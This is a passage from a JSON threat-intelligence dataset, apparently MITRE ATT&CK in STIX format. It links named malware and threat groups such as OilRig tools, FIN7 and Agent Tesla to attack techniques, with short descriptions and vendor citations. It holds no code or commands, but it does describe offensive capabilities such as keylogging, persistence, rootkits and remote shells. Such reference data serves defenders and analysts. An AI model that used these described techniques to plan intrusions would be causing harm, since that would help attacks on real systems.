                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.554Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) installs itself in <code>%ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe</code>; the directory name is missing a space and the file name is missing the letter \"o.\"(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:24:10.177Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a0bf84db-5482-4bc2-a53f-46d988e4f688",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) is obfuscated using the obfuscation tool called ConfuserEx.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.014Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f5cf9158-6f25-4167-8263-5a356bf816b9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) collects the keychains on the system.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "type": "relationship",
            "modified": "2020-01-17T22:37:17.407Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--86b103ec-dfa0-4c0a-ad96-b885345b4711",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) used the PowerShell filenames <code>Office365DCOMCheck.ps1</code> and <code>SystemDiskClean.ps1</code>.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:37:23.765Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.253Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
            "type": "relationship",
            "modified": "2020-02-11T18:26:01.978Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--0f7e7dc5-ea9c-4d9e-9acd-5fa0dd25910a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can download files.(Citation: Symantec Wiarp May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Wiarp May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"
                }
            ],
            "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-19T21:52:07.316Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) can download an executable to run on the victim.(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.369Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains keylogger functionality.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.663Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.(Citation: FireEye FIN7 April 2017)(Citation: FireEye FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.530Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) ran a reverse shell with Meterpreter.(Citation: Cymmetria Patchwork) [Patchwork](https://attack.mitre.org/groups/G0040) used JavaScript code and .SCT files on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:58:58.156Z",
            "created": "2017-05-31T21:33:27.075Z"
        },
        {
            "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using HTTP or HTTPS.(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:28:19.707Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.(Citation: Kaspersky Flame)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
            "modified": "2019-06-06T14:35:54.017Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects the current running username.(Citation: Sofacy Komplex Trojan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-01-17T19:50:01.381Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-WmiCommand</code> CodeExecution module uses WMI to execute and retrieve the output from a [PowerShell](https://attack.mitre.org/techniques/T1086) payload.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.265Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T14:56:44.509Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3dde25bf-03e8-4842-94cd-d596688c44d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects keystrokes from the victim machine.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.022Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--699e964d-b8c8-46fd-bd2d-9787433ab077",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) parses the export tables of system DLLs to locate and call various Windows API functions.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.652Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f623affb-f6e8-4c32-a44f-8835fff92c59",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s as well as executed VBScripts on victim machines.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2021-02-09T14:24:38.228Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--26968975-5f01-4b4b-9cdc-ef3b76710304",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain file and directory listings.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T00:00:03.501Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--753093c1-6586-4a17-9068-25648111ef33",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [FinFisher](https://attack.mitre.org/software/S0182) variants incorporate an MBR rootkit.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.512Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--db4fbefd-e9ed-495a-89af-67c4b6780508",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks to see if the system is configured with \"Daylight\" time and checks for a specific region to be set for the timezone.(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.559Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--749b0a26-fbf8-4858-a545-5faca77adead",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Socksbot](https://attack.mitre.org/software/S0273) can write and execute PowerShell scripts.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-20T15:42:34.419Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for the existence of a Registry key and if it contains certain values.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--d18d7fab-1f10-4b83-83e1-a288ec4db2bd",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.240Z",
            "created": "2019-01-29T17:59:44.411Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for enumerating TCP and UDP network connections and associated processes using the <code>netstat</code> command.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--8b020cdd-4731-4dd5-8407-7f3076ab1d2d",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-04-19T15:08:16.054Z",
            "created": "2019-01-29T18:17:59.264Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can access the victim\u2019s webcam and record video.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Talos Agent Tesla Oct 2018)",
            "id": "relationship--49efe6c7-aec6-4e54-bc7d-212816e23347",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-03-18T19:25:30.321Z",
            "created": "2019-01-29T18:44:05.140Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
